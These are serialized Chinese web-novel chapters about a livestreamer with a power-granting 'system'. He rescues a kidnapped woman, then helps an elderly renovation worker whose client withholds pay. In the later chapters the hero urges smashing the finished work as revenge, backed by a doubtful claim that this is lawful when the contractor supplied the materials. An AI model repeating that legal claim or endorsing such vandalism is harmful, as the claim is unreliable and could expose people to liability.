“都到这里了，咱们这里可有四个人。”领头的男人啐了一口，眼中闪过狠厉，“管他那么多！” 四人交换了个眼神，大步朝着超市里走去。 蒋雪跌跌撞撞地后退，心脏几乎要撞破胸腔。 她踉跄着钻进日用品区，贴着堆满卷纸的货架往里缩，黑色长发黏在汗湿的脸颊上。 手电筒的光柱像毒蛇般游弋过来，扫过货架缝隙时，她死死咬住嘴唇，连呼吸都屏住了。 货架外传来杂乱的脚步声，混着粗重的喘息声由远及近。 “咔嗒”——货架后方突然亮起刺目光芒，蒋雪本能地抬手遮挡。 一只手掌从后面伸出猛地捂住她的嘴。 蒋雪疯狂蹬腿，鞋重重踢在货架钢管上，整排洗发水轰然倒塌。 身后传来压抑的轻笑，那人手臂像铁钳般收紧，勒得她喉头发紧。 “找到了！” “快来帮忙！” 三个身影从阴影中窜出。 戴着手套的手按住她的手腕，粗糙的麻绳在皮肤上摩擦出灼烧感。 蒋雪扭动身体，指甲在其中一人的手背上抓出五道血痕，换来的却是更凶狠的压制。 “你们继续往外拖。”为首的男人扯了扯领口，手电筒光束扫过蒋雪涨红的脸，“我去开车。” 说罢为首男人快步离去。 剩下三人架起她的胳膊，把她拖到外面。 就在这时，远处突然亮起一束光。 走在最前面的瘦高个抬手挡住眼睛，露出小臂狰狞的纹身。 “大哥？” 就在瘦高个话音未落的瞬间，一道黑影裹挟着劲风破空而至。 沙包大的拳头精准无误地砸在瘦高个的鼻梁上。 瘦高个发出一声闷哼，踉跄着后退两步，指腹抹过鼻子时，温热的鲜血顺着指缝汩汩而下。 另外两人瞬间反应过来，像野兽般警觉地转身。 他们粗暴地将蒋雪甩在地上，上前帮忙迎敌。 蒋雪蜷缩在地上，麻绳深深勒进皮肉，她扭动着身体，试图挣脱束缚。 三人发现，这个来者实在是歹毒，光哪里都不照，就偏偏往脸上照。 晃得三人根本睁不开眼睛。 来者不是别人，正是林澈。 过去帮忙合闸，发现是附近有地方漏电，根本合不上闸。 这里的人转头去找电工了。 林澈见没自己啥事，也就掉头回来。 迎面就撞上三人抓住蒋雪的这一幕。 直播间弹幕看到这一幕瞬间爆炸。 “卧槽！” “什么情况？绑架？” “大晚上遇到这种事？” “@老梁，快来！” “收到，正在赶过去，已经通知附近的人提前过去了。” 林澈单手高举手机，屏幕的冷光映得他眉眼锋利如刀。 刺目的光芒如同利刃，晃得三人睁不开眼。 这招叫光明神拳。 林澈迅速出拳，带着破空声的拳头专挑对方脸部要害。 “砰！”其中一人挥出的拳头扑了个空，紧接着鼻子就挨了一记重击，整个人踉跄着后退。 “煞笔，有种你放下手机！” 瘦高男子抹了把脸上的血，嘶吼着冲向林澈。 迎接他的却是更强烈的闪光，手机屏幕的白光几乎要灼烧他的视网膜。 还未等他反应过来，一记铁拳已经狠狠砸在颧骨上，他的身体不受控制地侧倒，发出一声闷响。 直播间的弹幕疯狂滚动，密密麻麻的文字几乎要将屏幕吞没。 “救命！这也太刺激了！” “澈哥威武！” “老梁怎么还不来！” “这三人看上去和煞笔一样。” “这么好欺负？” “完全没有什么抵抗能力啊？” “主要是主播太坏了，晃着眼和对方打架，别说还手了，这三人估计现在连主播是啥样都没看清。” “哈哈哈，主播，主播，该换我了！” 就连他们和直播间观众都没发现。 林澈看似随意地躲闪，实则步步为营。 巧妙地将他们逼向死胡同里。 林澈确实能够一下子制服一到二人，但必然会有人逃走。 所以一开始没有下狠手，也是为了把他们带到死胡同，好一网打尽。 就在这时，“啪嗒”一声，头顶的路灯突然亮起，惨白的光线驱散了黑暗。 三人脸上顿时露出狰狞的笑容，被手机闪光灯晃得通红的眼睛里满是报复的欲望。 第97章 谁和谁是一伙的？ “小子，刚刚好玩吗？” “也该让我们来和你玩玩了。” 林澈淡定地将手机揣进口袋。 看着三人各自散开，嘴角勾起一抹冷笑。 直播间弹幕顿时担心起来。 “卧槽，什么时候来电不行，偏偏这时候。” “玛德，主播这运势果然有点说法的。” “要不先跑吧，老梁说已经在赶来的路上了。” “确实，有主播耽误的这几分钟，他们肯定跑不掉了。” 瘦高男子率先发难，他抹了把脸上的血，怒吼着冲向林澈。 然而他刚近身，林澈的拳头已如闪电般挥出，结结实实砸在他胸口。 巨大的冲击力让瘦高个踉跄着后退，后背重重撞在墙上，发出闷响。 捂着胸口，喉咙里发出拉风箱般的喘息，膝盖一软，缓缓跪倒在地，浑浊的口水混着血丝滴落在水泥地上。 身后两人见状大惊，然而他们想要逃跑。 突然发现身后是死胡同，三米高的灰墙上爬满青苔，灯光斜斜切过墙顶生锈的铁丝网。 其中一人伸手扒住墙缝想要攀爬，绝望地发现墙面光滑得根本无处借力。 林澈长臂如电，左拳砸向左侧这人的太阳穴，右肘精准撞向右侧那人的喉结。 两声闷哼过后，三人像被抽走骨头般瘫软在地。 林澈单膝跪地，将他们三人上衣扒下来，双手反绑捆在一起。 这下三人别说逃走了，他们连站起来都费劲。 直播间弹幕缓缓飘过一张熟悉的动图。 “兄弟们，多余担心了。” “原来主播之前是和他们玩呢。” “扯淡，那根本不是在玩，而是悄悄把三人逼到死胡同。” “主播好深的算计，真不个好东西。” “等等，这算不算英雄救美啊？” “主播，这逼人会不会就此脱单？” “狗东西，我们都还单着呢，你可千万不可能有女朋友啊！” 林澈做完这一切，拍了拍手上的灰尘。 正在此时，身后传来一声粗粝的怒吼。 “放开他们。” “否则我就下死手了！” 林澈缓缓转身。 圆脸男子的藏青色卫衣兜帽滑下，露出布满血丝的眼睛，裁纸刀的锋利刀刃正贴着蒋雪苍白的脖颈。 蒋雪的领口洇开深色血迹，喉结处一道血痕蜿蜒而下，她颤抖的睫毛上凝着泪珠，拼命朝林澈摇头。 身后被捆住的三人听到有救，突然剧烈扭动。 看到这里的梁国栋，手心已经湿透。 这要是一个不小心闹出人命，那麻烦可就大了。 直播间的弹幕如同被搅动的蜂群，疯狂刷屏。 “完蛋了，这该怎么办？” “除了放人还能怎么办？” “主播，相信老梁他们，把人放了肯定也能抓回来。” “就是说有没有一种可能，就算主播放人，对方也不会放人，最终变成了人质挟持。” “卧槽，你说得太有道理了。” “这局面无解啊？” “没办法，这根本就不是主播能解决的。” 圆脸男子脖颈暴起青筋，额头上的汗珠顺着歪斜的发际线滑落，滴在裁纸刀刀柄上。 他疯狂晃动着手臂，刀尖在蒋雪颈间划出道道血痕 “没听到我说的话吗？” “把他们三人解开！” 蒋雪紧闭双眼，睫毛剧烈颤抖，身体蜷缩成虾米状。 梁国栋已经拿出手机，准备联系林澈了。 就在这千钧一发之际，林澈突然跨步上前，像张开的羽翼般将身后三人完全护住。 胸膛剧烈起伏，声音如洪钟般响彻死胡同。 “不要怕，这里有我！” 被捆住的三人瞪大眼睛，眼中满是无法理解。 蒋雪睫毛颤动，带着同样的不解。 圆脸男子举着裁纸刀的手僵在半空，脸上的肌肉不受控地抽搐。 梁国栋满头雾水。 连直播间都陷入短暂的卡顿，随后弹幕如决堤洪水般倾泻而出。 “不是，主播什么情况？” “踏马的，谁和谁是一伙的？” “我怎么有点弄不明白了？” “怎么看这都有问题啊！” “是啊，主播你个浓眉大眼的也叛变了？” “难道这里还有主播的事？主播是主谋？” 然而，圆脸男子突然发出一声非人的咆哮，布满血丝的眼球几乎要从眼眶里凸出来。 他一脚狠狠踹在蒋雪腰侧，蒋雪发出一声闷哼，像断线风筝般滚出两米远。 男子挥舞着裁纸刀，刀尖划破空气发出刺耳的“咻咻”声，疯了似的朝林澈扑来。 刀尖在灯光下划出一道银亮的弧光。 林澈眼神一凛，整个人如猎豹般侧身闪躲开。 男子扑了个空，身体由于惯性往前冲。 林澈趁机欺身上前，骨节分明的大手如铁钳般牢牢攥住对方持刀的右手。 男子奋力挣扎，林澈手臂青筋暴起，猛地用力一攥。 男子顿时发出一声惨叫，裁纸刀“当啷”一声掉落在地。 紧接着，林澈抬腿，膝盖狠狠撞向对方的腹部，同时一个扫堂腿，将男子踹得失去平衡，重重摔在地上。 林澈手法娴熟地扯下男子的外套，动作利落地将男子双手反绑。 刚才还疯狂咆哮的男子，此刻眼神涣散，脸上满是茫然，呆愣地看着林澈，嘴里结结巴巴。 “啊？” “我......我......” 被捆在一旁的三人见状，顿时哀嚎起来。 其中一人带着哭腔喊道：“大哥，你怎么冲上来了！” 另一人懊恼道“哎呀，这下子全都完蛋了。” 直播间的弹幕疯狂滚动，满屏都是问号。 林澈顾不上理会弹幕，快步走到蒋雪身边，蹲下身，动作轻柔地解开她身上的麻绳。 蒋雪手腕上被绳子勒出的红痕，她抬起头，泪水在眼眶里打转，轻声说了句：“谢谢。” 第98章 心声 喘着粗气，看着地上被制服的四人，一时无语。 这倒不是梁国栋他们太慢。 而是林澈的速度太快了。 从发现三人扛着蒋雪，到将所有人制服，解救出蒋雪。 总共才过去了七分钟。 甚至浪费时间最多的地方，竟然是之前把三人逼到死胡同里。 真的动手起手，就是一人一脚解决问题。 恰在这时。 林澈耳边响起一阵冰冷的机械女声。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 林澈眼神一亮，嘴角微微上扬。 警笛声划破夜空，闪烁的红蓝灯光照亮超市外的街道。 林澈和蒋雪并肩坐在警车后座。 蒋雪双手抱臂，时不时偷瞄林澈，而林澈则靠着车窗闭目养神。 到了刑警大队，林澈跟着警员走进询问室时，轻车熟路地拉开金属椅子坐下，在笔录纸上龙飞凤舞地填写信息，钢笔尖划过纸面的沙沙声清晰可闻。 当被问到制服嫌疑人的细节时，眉飞色舞地比划着。 另一边，蒋雪坐在隔壁询问室，手指不安地抠着衣服。 被裁纸刀划伤的脖颈已经简单处理过，纱布边缘还渗着淡淡的血迹。 她声音发颤地讲述着被尾随的经过，眼神里仍残留着恐惧。 林澈走出询问室，拿起桌上的摄像头，别在胸口。 随后径直走向储物柜，拉开柜门，从最底层翻出一桶泡面。 撕开包装、倒入调料、接热水，一系列动作行云流水。 热气升腾间，泡面的香气弥漫开来。 蒋雪从询问室出来，正好撞见这一幕，不禁瞪大了眼睛。 直播间弹幕飘过。 “别的不说，主播在这里真的熟。” “老梁藏起来的泡面，都让主播掏出来了。” “老梁？老梁还得谢谢咱呢。” “哈哈哈，确实如此。” 梁国栋看向蒋雪，语气带着几分疲惫却又温和。 “他们的事还在审讯。” “今天太晚了，我们派车送你回去。” “放心，事情已经过去了” 蒋雪紧绷的肩膀终于放松下来，轻轻点了点头。 随后，梁国栋走到林澈身边，伸手拍了拍他的肩膀，带着赞许地说： “林澈，等忙完这阵，请你吃大餐。” 林澈嘴里含着一根面条，含糊不清地应道：“哦，谢谢梁警官。” 目光扫过走廊里行色匆匆的警员，忽然开口打破寂静。 “梁警官，今天晚上加班的人这么多？” 林澈之所以能发现问题，自然是因为经常来。 往常这个时间点，警局至多只有零星几个值班警员。 此刻却几乎每个办公室都亮着灯，走廊里不时闪过警员们制服的藏蓝色身影。 梁国栋听到询问，脸上露出疲态。 “林澈，你没看新闻吗？” 林澈挑了挑眉。 “没看？银河市又出大案了？” 梁国栋解释道。 “不是银河市，而是隔壁市。” “出现了黄金盗窃案。” “丢失了五公斤黄金板料。” “到现在人也没有抓住。” “目前周围几个市都在增强警力，协助封锁。” 直播间的弹幕在手机屏幕上飞速滚动，林澈垂眸瞥了一眼。 “哦哦哦，这个新闻我也看了。” “那可是五公斤，按照现在的金价得三百万往上。” “确实，并且因为黄金的密度，五公斤其实都没有一块板砖大。” “值钱又便以携带，真是居家旅行杀人越货的上好佳品。” “据我当地的哥们说，那批黄金至少丢了半个月，最近这才发现的。” “丢了半个月？岂不是早就换成钱了？” “不好找啊，这个太难了。” 梁国栋抬手看了眼腕表，时针已经悄然划过凌晨一点。 揉了揉发涩的太阳穴。 “时间也不早了，你们也该回家了。” 蒋雪抱着充电完毕的手机。 咬着下唇，睫毛不安地颤动，脚步踌躇地走到林澈面前，欲言又止的模样像只受惊的小鹿。 林澈盯着她泛红的耳垂，突然从储物柜里又掏出一桶泡面，塑料包装在灯光下泛着油光。 “想吃自己泡，我这碗肯定不能分给你。” 说罢，林澈好像生怕有人来抢，抬起泡面，三两下全都吃完。 蒋雪脸颊瞬间涨得通红，用力摆了摆手。 运动鞋在地面急促地摩擦，转眼便消失在拐角处 梁国栋看着两人的互动，伸手重重一拍脑门，嘴角无奈地抽搐：“这小子......” 直播间的弹幕如汹涌的潮水，不断地在屏幕上滚动闪烁。 “卧槽！我一个直男都感觉到刚才的气氛不对了。” “主播不说话，至少加个联系方式没问题的。” “人家想要和你谈恋爱，你问人家吃泡面？” “不是，哥们，咱这脑袋怎么长的？” “踏马的，主播当真不珍惜啊” “兄弟们，别的不说！那腿是真的长，比我命都长。” 林澈低头看着直播间。 轻咳一声，对着镜头说道。 “兄弟们，今天就到这里了。” “我先下了，咱们明天见。” 话音刚落，直播间的画面骤然一黑，只剩下一片寂静的黑色屏幕。 林澈将手机塞进裤兜，迈步走出刑警大队。 夜晚的风裹挟着些许凉意，拂过衣角。 门外，小李倚着黑色轿车，看到林澈出来，抬手挥了挥，随即拉开车门。 林澈坐进车里，身体陷进柔软的座椅，双眼微闭，在脑中轻声唤道： “统子，给我开！” 刹那间，一道蓝紫色的光芒在眼前亮起，十张卡片整齐排列，卡片背面印着繁复而神秘的花纹，隐隐散发着微光。 林澈目光一扫，随意点了其中一张。 卡片飞速翻转，上面赫然出现一个伸手捂着自己嘴的女人形象，眉眼间带着几分惊讶。 【恭喜宿主获得能力：心声（24h）】 【心声：宿主可以听到其他人内心所想。】 第99章 一手黑料 车停稳后，林澈推开车门，和小李告别，脚步轻快地朝着家中走去。 回到家，简单洗漱一番，便躺到床上，很快进入梦乡。 而在网络的另一端，UP主“一只大橘狗”最新视频的评论区里，留言正在飞速增长。 “卧槽，狗子，你什么情况？” “求来的符真就那么好用？” “你竟然能够准时上传视频？” “不对劲，十分有二十分的不对劲。” “说！你把一只大橘狗藏到哪里去了？” “你是不是被伪人替代了？” “狗子！我的狗子！” Up主一只大橘狗将那张皱巴巴的符纸紧紧贴在胸口，圆脸上满是得意的笑容，连双下巴都跟着微微颤动。 翘着二郎腿，粉色卡通拖鞋一晃一晃的，咧着嘴大笑： “哈哈哈，这玩意真好用。” “果然就没出事。” “老祖宗的东西，还是有......” 话音戛然而止，他的手机突然疯狂震动起来，屏幕上私信提示的红色数字不断飙升，像炸开的爆米花。 猛地坐直身子，慌忙点开视频后台，密密麻麻的消息扑面而来。 “不可能，视频又出问题了？” 点开自己刚发布的视频，开头三分之一的画面播放正常。 可当进度条继续往后走，便出现音画不对的情况，本来也不是啥大事。 但偏偏又很巧合，本该是林澈义正言辞的镜头，却配上了麻子畏缩的声音。 麻子辩解的画面，传出的却是林澈的呵斥。 原本惩戒恶意打假的正义剧情，瞬间变成了主播仗势欺人、逼人下跪的邪道扬景。 最后人还被铐上带走了，显得特别邪性！ Up主一只大橘狗瞪大眼睛，肥胖的身躯从椅子上弹起，又重重跌回去，塑料椅发出不堪重负的吱呀声。 瘫在椅子上，像被抽走骨头的咸鱼，圆滚滚的肚子随着急促的呼吸剧烈起伏。 抓着乱蓬蓬的头发，把头顶仅有的几缕头发都薅得立了起来，眼镜歪斜地挂在鼻梁上，镜片后的眼睛里满是惊恐和不可置信。 “不可能！” “不可能啊！” “怎么会这样？” 一只大橘狗颤抖着双手检查视频文件，发现只是音轨出现了短短三秒的空隙，可就是这微不足道的差错，让整个视频的意思天翻地覆。 急忙想要换源，发现撤不下去。 评论区早已炸开了锅，新消息如潮水般涌来。 “好好好，我看出来了，主播真他妈不是个东西，狗头。” “你的狗头晚了，四十米大刀已经捅进去了。” “哈哈哈，up主你是会搞活的。” “什么叫做剪辑，这就是剪辑！你真是天才！” “乐死我了，难怪你能每个视频都上热门，你是真的有活。” “能想象到我看见主播一脸正气说出求饶的话，喝的水直接喷了一床，明天还得解释我没尿床。” “不行了，笑得我肚子疼。” 看着这些评论，以及目前的人数。 深夜一点五十，同时观看人数七万。 一只大橘狗”喉咙里发出一声绝望的呜咽，整个人彻底蔫了下去，瘫在椅子上一动也不动，只盯着屏幕上不断跳动的评论，眼神空洞得仿佛失去了灵魂。 ...... 第二天。 清晨的光线被厚重的阴云严严实实遮挡，天色灰蒙蒙的，仿佛被蒙上了一层黯淡的薄纱。 林澈在床上翻了个身，缓缓坐起，凌乱的头发支棱着。 系统冰冷的女声如期而至。 【叮......】 【职业选择中......】 【获得职业装修工。】 【装修工配套装备已准备。】 【请宿主尽快开始直播。】 与此同时，手机在床头柜上剧烈震动起来。 伸手抓过手机，解锁屏幕，便看到了最新消息。 “@林澈，今天跟着刘富贵师傅干活。” “汇合地点：九点整，狮子园小区东门。” 林澈：“1” 起床洗漱完毕，穿戴好直播设备。 林澈指尖轻点屏幕，开启了直播。 直播间的屏幕瞬间亮起，一条条弹幕如同潮水般涌来。 “大恶人！” “果然是你，你真是坏事做尽！” “伏法吧，阿林，外面都是警察。” “林澈：在这个直播间！没有人能审判我！二舅也不行！” “......” 看着这些莫名其妙的弹幕，林澈先是一愣，浓眉紧紧拧成一团，脸上满是疑惑。 歪着头，伸手挠了挠后脑勺，随后熟练地在手机上滑动，找到一只大橘狗的录播剪辑。 视频播放，目不转睛地盯着屏幕，随着离谱的画面和音轨出现。 林澈的嘴角不受控制地狠狠抽搐了几下，脸上的表情精彩万分。 “这个......剪得挺有意思。” 直播间瞬间沸腾起来，弹幕疯狂刷新。 “哈哈哈，主播看的时候脸都绿了。” “别的不说，主播现在都知道出了事去哪里找自己的一手黑料！” “没错，就在录播剪辑！” “玛德，真的离谱。到现在我都分不清，这是整活还是真的事故。” “分不清，你真的分不清！” “主播，今天什么职业啊？” 林澈嘴角扬起一抹灿烂的笑容，眼睛弯弯的，露出一口大白牙。 “今天是装修工。” “但咱们先去做一件很重要的事情。” 弹幕瞬间画风突变。 “我懂！提肛是吧！” “我已经起立了，就等着主播的口号了。” “搞快点，一小时不夹，我浑身难受。” 林澈步伐轻快地朝着厕所走去，一边走一边对着镜头摇头晃脑。 “不是提肛，而是去拿个毛巾。” “今天虽然凉快，但干起活来还是很热的。” 说着，从挂杆上扯下一条灰色毛巾，动作娴熟地将毛巾一圈圈捆在右手手腕上。 林澈举起缠着毛巾的手晃了晃。 “兄弟们。” “工作小技巧出现了。” “这毛巾搭在脖子或者肩膀上会感觉很热，也不方便擦汗。” “所以，咱们直接缠在手腕上。” “既感觉不到热，还特别方便。” 林澈说着抬手用毛巾快速擦了擦额头的虚汗。 直播间弹幕飘过。 “不是，主播，你真的会啊。” “这都是从哪里搞来的小技巧？” “难道你真的干过装修工？” “至今我们仍未知道主播到底会多少东西。” ...... 第100章 验收 林澈笑着眨了眨眼，突然表情严肃。 “全体都有、起立！” “夹紧——松——” 直播间弹幕瞬间变得整齐划一。 别的事或许不上心，但这种据说能提高那方面能力的事。 天王老子来了也得排在后面。 林澈走出房门，快步走到楼下，跨上电动车，拧动油门，朝着狮子园小区疾驰而去。 风呼呼地吹过耳边，卷起他额前的碎发。 抵达小区东门时，阴沉的天空仿佛又压低了几分。 林澈一眼就看到路边停着一辆破旧的电三轮，车身布满灰尘，车斗里堆着五颜六色的水管和锈迹斑斑的工具箱。 林澈快走几步，脸上挂着灿烂的笑容。 “刘富贵，刘师傅？” 刘富贵正弯腰检查车胎，听到声音猛地直起腰。 他满头白发在风中凌乱，被太阳晒得红中透黑的脸上沟壑纵横，那件洗得发白的蓝色工装早已变形，衣角还沾着未洗净的泥渍。 看到林澈，他咧开嘴露出一口大黄牙，笑容憨厚又质朴。 “你就是林澈！” “今天新来的小工？” “真年轻啊！” 林澈连忙点头。 “嗯嗯，刘师傅咱们走吧。” 刘富贵粗糙的大手用力一拍车帮，震得车斗里的工具叮当作响。 “来，上车！” 等林澈一屁股坐上车斗，刘富贵又从一旁箱子里掏出个猪鼻子防护口罩。 “戴上吧，虽然热了些。” “但这玩意能防甲醛。” 林澈双手接过口罩，认真地系在脸上，发出闷闷的声音。 “谢谢，刘师傅。” 刘富贵笑着摆摆手，发动了电三轮。 车子突突突地朝前驶去，他一边开车一边絮叨。 “没啥，看你就想起了我那儿子。” 说到这里，眼角的皱纹都舒展开来。 “他学习很好，已经被免试录取。” “说是什么985大学我也不懂。” “我就负责给他攒钱，别的我也帮不了啥。” 直播间的弹幕如同炸开的爆米花，一条接一条地疯狂跳跃。 “卧槽！免试录取？” “这真是寒门贵子了。” “没看到大叔嘴角就没放下来过吗？” “这种事肯定开心的一批，干活都充满了力气。” “这才是真的充满了盼头。” ....... 就在这时，林澈的脑海中毫无预兆地响起了若隐若现的声音，像是有人在耳边轻轻呢喃。 【再问问！再问问！】 这就是心声！ 果然很有趣啊。 林澈不着痕迹地点点头，顺势接话道。 “您儿子也真是有出息。” “但您今后可得忙了。” “大学四年要花不少钱。” 刘富贵爽朗地大笑起来，笑声震得电三轮都跟着微微颤动，他古铜色的脸上堆满骄傲。 “确实花费挺多。” “但也没事，今天验收完，就能收到一笔钱。” “正好能支付他的学费。” 说话间，三轮车拐进小区深处，在一栋居民楼下停稳。 刘富贵利落地跳下车，从车斗里拖出一辆锈迹斑斑的小推车。 两人一前一后爬上六楼，推开601室的房门。 屋内狼藉一片，碎木屑、废纸板散落满地，空气中还弥漫着刺鼻的甲醛味。 刘富贵用袖子擦了把额头的汗，指了指堆成小山的废料。 “林澈，咱们上午的任务就是把这里收拾下。” “各自废料都往下搬，全都扔到三轮车上。” 林澈二话不说，撸起袖子就开始干活。 弯腰将锋利的碎瓷砖装进厚实的编织袋，又踮起脚捡起残留的木板...... 汗水顺着脖颈滑进后背，很快将工作服浸出深色的汗渍，但依旧动作麻利。 两个小时的忙碌转瞬即逝，当最后一把生锈的铁锤被放上小推车时，林澈直起腰捶了捶发酸的腰背。 刘富贵满意地拍了拍他的肩膀。 “很好，我去联系业主。” “验收完，咱们就可以跑下一家了。” 说着刘富贵掏出手机，快步走出门外。 也在这时，林澈耳边响起了系统的机械女声。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：十五天】 不多时，刘富贵领着一位身着真丝连衣裙的女业主走进来，她颈间的珍珠项链在昏暗的光线下泛着冷光，香水味瞬间掩盖了屋内的刺鼻气味。 女业主捏着鼻子，像巡视领地的女王般扫视房间，虽然脸上挂着满意的微笑，但林澈的脑海中却突然炸开尖锐的声音。 【离得远点，你没闻到身上那股汗臭味吗？】 【我可得仔细挑挑错，身为甲方怎么不得让他返几遍工！】 林澈的笑容瞬间僵在脸上。 这人听心声不太好相处啊。 女业主对着新做的石膏吊顶仰头端详，指尖在光滑的边缘来回摩挲，随后又蹲下身用指甲刮擦瓷砖缝隙。 刘富贵亦步亦趋地跟在身后，指着墙角的阴角线笑得满脸褶子。 “您放心，这方面我是专业的。” “您看这吊顶弧度，还有这瓷砖对缝，毫米级的工艺！” 女业主鼻腔里轻轻“嗯”了一声，林澈却在心声里听见她冷笑。 【我客气两句，你倒是还吹上了。】 随后女业主从口袋里拿出空鼓锤。 一块瓷砖接着一块瓷砖翘起来。 嗒嗒嗒......嗒嗒嗒...... 时间一晃，二十多分钟过去。 刘富贵一直陪在一旁，静静等着检验。 当最后一块厨房地砖被敲检完毕，女业主终于直起腰。 刘富贵搓着满是水泥痂的手往前凑了半步。 “您看这活没问题吧。” “那这工钱？” 女业主心声里的鄙夷。 【张口闭口要钱。】 【干完活就得立刻给钱？】 【现在谁家不得压几个月欠款？】 【就显得你急切了。】 女业主慢悠悠地把空鼓锤塞回包里，语气像在点评橱窗里的展品。 “确实挺不错的。” “但咱们也是第一次合作。” “现在确实看上去没问题。” “但我也要留个保障。” 刘富贵连忙点头哈腰。 “确实，确实。” “第一次合作，您也不放心我们。” “押笔尾款应该的，等过俩月没问题您再结。” 直播间的弹幕突然密集起来。 “刘师傅，对自己手艺很有信心啊。” “这种尾款一但押上，就很难要回来，别问我怎么知道的。” “你们没发现不对劲吗？这女业主一直回避给钱。” “这人不会打算赖账吧？” “这种事不太可能吧。” “不好说啊。” 第101章 双输好过单赢 窗外的阴云压得更低了，将整间屋子衬得像个即将落锁的铁笼。 女业主没有接话，反倒是再次举起空鼓锤，金属锤头在瓷砖上敲出更密集的“嗒嗒”声。 嗒嗒嗒......嗒嗒嗒...... 刘富贵看着对方故意在已经检查过的瓷砖上来回敲打。 心里顿时咯噔一声。 多年经验，察觉到这个客户不想结账。 但现在自己毕竟也急需钱。 刘富贵干裂的嘴唇动了动，终于忍不住追上前。 “我这是真的急需这笔钱。” “您应该也知道我儿子，今年......” 话未说完，女业主手突然横在半空，挡住刘富贵剩下的话。 “你家里的事不用和我说。” “我也不想知道。” “这样吧，工钱下个月给你。” “我下个月也要结婚，现在也十分需要钱。” 女业主却在心里窃喜。 【你急？】 【那就活该咯。】 【现在看来还能再砍一笔。】 【能砍下来多少呢？】 【至于结婚，反正是男方出钱，我也一分不用掏，怎么会缺钱呢。】 林澈听着女业主言行不一的话。 心里的火噌噌往上冒。 刘富贵喉头滚动着，喉结像被砂纸磨过般刺痛。 这种“下个月结”的话术他听了不下百次，多少工友的血汗钱就是这样拖成了坏账。 可他低头看见自己开裂的劳保鞋，又想起儿子在电话里的声音。 最终只是把拳头塞进裤兜，指甲深深掐进掌心。 “要不您看咱们各退一步。” “您把料钱先结了。” “剩下的工钱之后再说。” 女业主突然拔高声调，高跟鞋在地板上跺出刺耳的声响。 “要要要！” “我又没说不给。” “你就非得今天要呗？” 女业主这一吼。 刘富贵像被针扎的气球般猛地后退。 女业主立刻乘胜追击。 “再说我之前还说打算再给你介绍几个活。” “你现在就这么急迫？” “让我怎么办？” “我看你是完全没有眼光。” 刘富贵的喉结在松弛的皮肤下滚动，白发被汗水粘在额角，他盯着地面瓷砖缝里的水泥渍，嘴唇翕动着却说不出话。 林澈清晰地听见女业主心底的嗤笑。 【什么活。】 【就是自己瞎说的。】 【这人竟然信了？】 【真的好骗！】 最终刘富贵垂着头走向楼梯间。 女业主望着他佝偻的背影，故意把空鼓锤敲得更响。 嗒嗒嗒..... 直播间的弹幕彻底炸开。 “好好好，好一个没有眼光。” “什么叫眼光？眼光能吃饱饭吗？吃到肚子里的才是真的。” “玛德，就是看人好欺负，知道急需要钱死命压价呗，我算是看明白了。” “确实如此，那怎么办？” “咱们直播间有律师吗？” “这情况就算是职业讼棍来了，也得打一两年，没办法光是上诉等待开庭就得需要几个月。” “最后就算是认定给钱，还能继续拖着，最终就是强制执行，违法成本实在是太低了。” “凸(艹皿艹)！” 林澈跟着刘富贵走到楼梯拐角。 昏暗的光线下，刘富贵正用粗糙的指腹反复摩挲打火机轮片，烟卷在颤抖的嘴唇间晃悠。 脸上满是纠结，一时间不知道该怎么办。 林澈伸手按住他发抖的手腕，问道。 “刘师傅，我刚刚听话里的意思。” “您这个活包工包料？” 刘富贵“嗯”了声。 “瓷砖、吊顶材料都是我垫的钱。” “小林，你是年轻人。” “你说这种事打官司好使吗？” 林澈望着老人鬓角的白发，想起刚才心声里女业主算计的冷笑，喉结重重滚动。 “您要是急需用钱。” “就别想打官司了。” “那方法慢的话拖个一两年都很正常。” “她拖得起，您拖不起。” 刘富贵的脸在昏暗的楼梯间里泛着青灰色，喉结像卡了块石子般上下滚动。 “那那那......怎么办呢？” 林澈没说话，只是从背后缓缓抽出一把锈迹斑斑的铁锤。 锤头在楼道微光里泛着冷硬的光。 “刘师傅，吃到嘴里的才是自己的。” “对方不想给钱，那她也不能要到东西。” “双输好过单赢。” 刘富贵接过锤柄，脸上更加纠结。 “啊......这......” 林澈看向直播间。 “兄弟们，我问一嘴这种包工包料的活。” “干完了再砸坏违法吗？” 弹幕瞬间像炸开的烟花，在屏幕上疯狂滚动。 “卧槽，锤！” “主播，你踏马来真的啊？” “这种我还真的接手过，如果对方没出料钱，那砸了没有事，反之就是违法。” “真的要砸？人家姐姐可是要结婚啊，主播如此做，积这么多福下辈子要干什么？我根本不敢想。” “你积这么功德，把二舅放在了哪里？” “快！我要看血流成河！” 林澈扫了眼弹幕，又看向刘富贵。 “刚刚问了，包工包料就不犯法。” “反正咱们觉得没装修好。” “砸坏了重新装，有问题吗？” 刘富贵身体还在抖，一辈子没跟人红过脸的手攥着铁锤，指节因为用力而发白。 低头看着自己鞋面上干结的水泥块，又想起儿子昨天在电话里说的话。 林澈继续说道。 “当然您也是不想这么干也行。” “不就是她正常结婚，您要为儿子的学费去求人。” “最后还要过来要尾款，恐怕到时候她还会让你打个折。” 这话像根烧红的烙铁，狠狠烫在刘富贵心上。 他突然猛地站起身，铁锤被攥得“咯吱”响，浑浊的眼睛里燃起从未有过的火光。 “小林，你说得对。” “她不让我儿子上学，我就不让她结婚。” “谁踏马也别想好过。” 第102章 别动，不准砸 刘富贵转身就往601室冲去。 林澈也抄起根撬棍跟上。 刘富贵的铁锤率先砸在卧室中央的瓷砖上。釉面碎裂的脆响像道惊雷，白色的瓷片混着水泥灰迸溅开来。 林澈的撬棍插进吊顶的缝隙，用力一扳——石膏板“哗啦”掉下来半块，露出里面歪歪扭扭的龙骨。 刺耳的敲击声如闷雷般穿透墙壁。 女业主踩着高跟鞋，满脸疑惑地循声而来。 当她看清屋内的场景时，原本带着倦意的双眼瞬间瞪大，樱桃小嘴惊愕地张成了“O”型。 林澈手中的撬棍裹挟着劲风，重重砸向地面的瓷砖，飞溅的碎屑在阳光中划出细碎的银芒。 刘富贵喘着粗气，额角沁出细密的汗珠，他抡起铁锤紧跟其后，每一次敲击都震得空气嗡嗡作响。 此时的直播间，弹幕如潮水般疯狂刷屏。 “OHHHHHHHHHHHH！” “就是这个感觉，光是看着我就觉得爽！” “砸！给我狠狠的砸！” “爽得我要飞起！” “主播，求你了砸脚边那块！快，立刻马上给我砸了它！” 女业主呆立在原地，脸颊以肉眼可见的速度涨得通红，像是被煮熟的虾子，连耳垂都泛起了病态的嫣红。 